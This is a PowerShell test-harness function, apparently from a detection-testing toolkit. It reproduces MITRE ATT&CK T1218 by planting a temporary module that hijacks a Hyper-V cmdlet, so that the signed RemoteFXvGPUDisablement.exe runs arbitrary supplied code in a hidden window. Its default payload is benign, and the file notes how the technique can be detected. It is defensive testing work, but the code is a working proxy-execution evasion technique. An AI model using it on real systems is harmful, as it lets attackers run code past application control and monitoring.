TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
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function Invoke-ATHRemoteFXvGPUDisablementCommand { <# .SYNOPSIS Executes PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable. Technique ID: T1218 (Signed Binary Proxy Execution) .DESCRIPTION Invoke-ATHRemoteFXvGPUDisablementCommand executes supplied PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable. RemoteFXvGPUDisablement.exe was introduced in Windows 10 and Server 2019 (OS Build 17763.1339) and serves as a wrapper around several PowerShell commands. One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. Invoke-ATHRemoteFXvGPUDisablementCommand gets RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable. Invoke-ATHRemoteFXvGPUDisablementCommand is used to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe. Note: This technique will not work under the following conditions: 1. RemoteFXvGPUDisablement.exe is not present. 2. PowerShell Constrained Language Mode is enforced. Because the temporary module written to disk is unlikely to be permitted by application control (WDAC/AppLocker) policy, it will fail to load and be logged accordingly ("Microsoft-Windows-AppLocker/MSI and Script" Event ID 8029 - applies to AppLocker and WDAC). .PARAMETER RemoteFXvGPUDisablementFilePath Specifies an alternate directory to execute RemoteFXvGPUDisablement.exe from. if -RemoteFXvGPUDisablementFilePath is not supplied, RemoteFXvGPUDisablement.exe will execute from %windir%. .PARAMETER ScriptBlock Specifies optional PowerShell code to execute. Note that supplied PowerShell code will not display output so validate execution accordingly. When supplying a custom scriptblock, Invoke-ATHRemoteFXvGPUDisablementCommand is unable to validate successful execution. if -ScriptBlock is not supplied, it will execute template PowerShell code that is used to validate successful execution. .PARAMETER ModuleName Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random temporary module name is used. .PARAMETER ModulePath Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the first entry in %PSModulePath% will be used/ Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules. .PARAMETER TestGuid Optionally, specify a test GUID value to use to override the generated test GUID behavior. .OUTPUTS PSObject Outputs an object consisting of relevant execution details. The following object properties may be populated: * TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID. * TestSuccess - Will be set to True if it was determined that the PowerShell code successfully executed. Note: "True" is only returned when an argument is not supplied to -ScriptBlock, i.e. the default template code is used. * TestGuid - Specifies the test GUID that was used for the test. * ModulePath - Specifies the path to the temporary module created. * ModuleContents - Specifies the contents of the custom implementation of the Get-VMRemoteFXPhysicalVideoAdapter function. * ModuleFileHash - Specifies the SHA256 file hash of the custom script module file. * RunnerFilePath - Specifies the full path of RemoteFXvGPUDisablement.exe. * RunnerProcessId - Specifies the process ID of RemoteFXvGPUDisablement.exe. * RunnerCommandLine - Specifies the command-line of RemoteFXvGPUDisablement.exe. * RunnerChildProcessId - Specifies the process ID of the process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock. * RunnerChildProcessCommandLine - Specifies the command-line of process that was executed as the result of the PowerShell code executing. This will only be populated when code is not supplied via -ScriptBlock. .EXAMPLE Invoke-ATHRemoteFXvGPUDisablementCommand .EXAMPLE Invoke-ATHRemoteFXvGPUDisablementCommand -ScriptBlock { Get-Date | Out-File -FilePath 'C:\Users\CurrentUser\Desktop\executed.txt' -Append } .EXAMPLE Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName Foo .EXAMPLE Invoke-ATHRemoteFXvGPUDisablementCommand -ModulePath $PWD Executes PowerShell code from a user-supplied module path, in this case, the current directory. .EXAMPLE Copy-Item -Path "$Env:windir\System32\RemoteFXvGPUDisablement.exe" -Destination 'notepad.exe' Invoke-ATHRemoteFXvGPUDisablementCommand -RemoteFXvGPUDisablementFilePath 'notepad.exe' Executes RemoteFXvGPUDisablement.exe from a relocated and renamed executable, notepad.exe in the current directory, in this case. .LINK https://support.microsoft.com/en-us/help/4558998/windows-10-update-kb4558998 https://support.microsoft.com/en-us/help/4570006/update-to-disable-and-remove-the-remotefx-vgpu-component https://twitter.com/pronichkin/status/1285241439052427265 #> [CmdletBinding()] param ( [String] [ValidateNotNullOrEmpty()] $RemoteFXvGPUDisablementFilePath = "$Env:windir\System32\RemoteFXvGPUDisablement.exe", [ScriptBlock] $ScriptBlock, [String] [ValidateNotNullOrEmpty()] $ModuleName = ((1..16 | ForEach-Object { [Char] (Get-Random -Minimum 0x41 -Maximum 0x5B) }) -join ''), [String] [ValidateScript({ Test-Path -Path $_ -PathType Container })] $ModulePath, [Guid] $TestGuid = (New-Guid) ) $ModuleExecuted = $null $FullModulePath = $null $ExecutedRemoteFXvGPUDisablementCommandLine = $null $ExecutedRemoteFXvGPUDisablementPID = $null $SpawnedProcCommandLine = $null $SpawnedProcProcessId = $null $RemoteFXvGPUDisablementFullPath = Resolve-Path -Path $RemoteFXvGPUDisablementFilePath -ErrorAction Stop if ($ModulePath) { $FullModulePath = Resolve-Path -Path $ModulePath } else { # Obtain the first entry in the PSModulePath list $FullModulePath = $Env:PSModulePath.Split(';')[0] } # Validate that the RemoteFXvGPUDisablement supplied is actually RemoteFXvGPUDisablement. $RemoteFXvGPUDisablementFileInfo = Get-Item -Path $RemoteFXvGPUDisablementFullPath -ErrorAction Stop if ($RemoteFXvGPUDisablementFileInfo.VersionInfo.OriginalFilename -ne 'RemoteFXvGPUDisablement.exe') { Write-Error "The RemoteFXvGPUDisablement executable supplied is not RemoteFXvGPUDisablement.exe: $RemoteFXvGPUDisablementFullPath" return } if (Get-Command -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue | Where-Object { $_.Source -ne 'Hyper-V' }) { Write-Error -Message 'A Get-VMRemoteFXPhysicalVideoAdapter function already exists outside of the Hyper-V module. All other modules containing the Get-VMRemoteFXPhysicalVideoAdapter function must be deleted.' return } $ParentPath = Split-Path -Path $FullModulePath -Parent # If the parent module directory doesn't exist, create it if (-not (Test-Path -Path $ParentPath)) { # Create the PowerShell directory $null = New-Item -Path $ParentPath -ItemType Directory -ErrorAction Stop # Create the modules directory $null = New-Item -Path $FullModulePath -ItemType Directory -ErrorAction Stop } if ($ScriptBlock) { $FunctionToExecute = @' function Get-VMRemoteFXPhysicalVideoAdapter { '@ + $ScriptBlock.ToString() + @' } '@ } else { $FunctionToExecute = @" function Get-VMRemoteFXPhysicalVideoAdapter { `$ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly `$ProcessStartupInstance = Get-CimInstance -InputObject `$ProcessStartup `$ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window `$ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "powershell.exe -NoProfile -Command Write-Host $TestGuid"; ProcessStartupInformation = `$ProcessStartupInstance } } "@ } if (Get-Module -ListAvailable -Name $ModuleName) { Write-Error -Message "The $ModuleName module already exists." return } Write-Verbose "Adding the following module to $($FullModulePath): $ModuleName" $NewModulePath = New-Item -Path $FullModulePath -Name $ModuleName -ItemType Directory $ModuleScriptPath = "$($NewModulePath.FullName)\$ModuleName.psm1" Write-Verbose "Writing the following content to $($ModuleScriptPath):`r`n`r`n$FunctionToExecute" # Write the module contents to the temporary script module Out-File -FilePath $ModuleScriptPath -InputObject $FunctionToExecute -ErrorAction Stop $ScriptModuleFileHash = Get-FileHash -Path $ModuleScriptPath | Select-Object -ExpandProperty Hash # Validate that the module is now available $ModuleInfo = Import-Module $ModuleScriptPath -PassThru -ErrorAction Stop $null = Get-Command -Module $ModuleName -Name Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction Stop if (-not $ScriptBlock) { # Remove any extra ChildProcSpawned events Unregister-Event -SourceIdentifier 'ProcessSpawned' -ErrorAction SilentlyContinue Get-Event -SourceIdentifier 'ChildProcSpawned' -ErrorAction SilentlyContinue | Remove-Event # Trigger an event any time powershell.exe has $TestGuid in the command line. # This event should correspond to the mshta or rundll process that launched it. $WMIEventQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 0.1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'powershell.exe' AND TargetInstance.CommandLine LIKE '%$($TestGuid)%'" Write-Verbose "Registering powershell.exe child process creation WMI event using the following WMI event query: $WMIEventQuery" $null = Register-CimIndicationEvent -SourceIdentifier 'ProcessSpawned' -Query $WMIEventQuery -Action { $SpawnedProcInfo = [PSCustomObject] @{ ProcessId = $EventArgs.NewEvent.TargetInstance.ProcessId ProcessCommandLine = $EventArgs.NewEvent.TargetInstance.CommandLine } New-Event -SourceIdentifier 'ChildProcSpawned' -MessageData $SpawnedProcInfo } } # Spawn RemoteFXvGPUDisablement.exe instance $ProcessStartup = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly $ProcessStartupInstance = Get-CimInstance -InputObject $ProcessStartup $ProcessStartupInstance.ShowWindow = [UInt16] 0 # Hide the window if ($ModulePath) { # Prepend the supplied module path to %PSModulePath% $CustomPSModulePath = "PSModulePath=$($FullModulePath);$($Env:PSModulePath)" # Gather up all existing environment variables except %PSModulePath%. [String[]] $AllEnvVarsExceptPSModulePath = Get-ChildItem Env:\* -Exclude 'PSModulePath' | ForEach-Object { "$($_.Name)=$($_.Value)" } [String[]] $AllEnvVars = $AllEnvVarsExceptPSModulePath + $CustomPSModulePath $ProcessStartupInstance.EnvironmentVariables = $AllEnvVars } $ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = "`"$RemoteFXvGPUDisablementFullPath`" Disable"; ProcessStartupInformation = $ProcessStartupInstance } if ($ProcStartResult.ReturnValue -eq 0) { # Retrieve the actual command-line of the spawned PowerShell process $ExecutedRemoteFXvGPUDisablementProcInfo = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = $($ProcStartResult.ProcessId)" -Property CommandLine, ExecutablePath $ExecutedRemoteFXvGPUDisablementCommandLine = $ExecutedRemoteFXvGPUDisablementProcInfo.CommandLine $ExecutedRemoteFXvGPUDisablementPID = $ProcStartResult.ProcessId $RemoteFXvGPUDisablementFullPath = $ExecutedRemoteFXvGPUDisablementProcInfo.ExecutablePath } else { Write-Error "RemoteFXvGPUDisablementFullPath.exe child process was not spawned." } if (-not $ScriptBlock) { # Wait for the test powershell.exe execution to run $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10 $ChildProcInfo = $null if ($ChildProcSpawnedEvent) { $ModuleExecuted = $True $ChildProcInfo = $ChildProcSpawnedEvent.MessageData $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine $SpawnedProcProcessId = $ChildProcInfo.ProcessId $ChildProcSpawnedEvent | Remove-Event } else { Write-Error "powershell.exe child process was not spawned." } # Cleanup Unregister-Event -SourceIdentifier 'ProcessSpawned' } [PSCustomObject] @{ TechniqueID = 'T1218' TestSuccess = $ModuleExecuted TestGuid = $TestGuid ModulePath = $ModuleScriptPath ModuleContents = $FunctionToExecute ModuleFileHash = $ScriptModuleFileHash RunnerFilePath = $RemoteFXvGPUDisablementFullPath RunnerProcessId = $ExecutedRemoteFXvGPUDisablementPID RunnerCommandLine = $ExecutedRemoteFXvGPUDisablementCommandLine RunnerChildProcessId = $SpawnedProcProcessId RunnerChildProcessCommandLine = $SpawnedProcCommandLine } # Sleep a few seconds to give it some time to execute prior to deleting the temporary module. if ($ScriptBlock) { Start-Sleep -Seconds 2 } # Delete the module that was just created Write-Verbose "Deleting the script module: $ModuleScriptPath" Remove-Item -Path $ModuleScriptPath -Force -ErrorAction SilentlyContinue Write-Verbose "Deleting the module path: $NewModulePath" Remove-Item -Path $NewModulePath -Force -ErrorAction SilentlyContinue Remove-Module -ModuleInfo $ModuleInfo -ErrorAction SilentlyContinue Remove-Item Function:\Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue } |